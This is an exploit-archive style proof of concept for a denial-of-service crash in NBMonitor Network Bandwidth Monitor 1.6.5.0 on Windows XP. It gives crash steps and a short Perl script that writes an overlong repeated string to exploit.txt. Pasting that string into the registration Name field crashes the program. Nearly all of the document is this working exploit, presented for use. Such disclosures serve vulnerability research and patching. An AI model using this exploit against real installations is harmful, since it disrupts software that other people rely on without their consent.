# Exploit Title:  NBMonitor Network Bandwidth Monitor 1.6.5.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
#  Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# Steps to Produce the Crash: 
# 1.- Run the code : perl 11-exploit.pl
# 2.- Open exploit.txt and copy content to clipboard
# 3.- Open NBMonitor
# 4.- Register / Enter Registration Code
# 5.- Paste ClipBoard on "Name"
# 6.- Key: 1
# 7.- OK
# 8 - Denial of Service

#2. Proof of Concept - PoC

#!/usr/bin/perl

use strict;
use warnings;

my $exploit = "\x42\x43" x 138;

open(my $file, '>', 'exploit.txt') or die "Cannot open file: $!";
print $file $exploit;
close $file;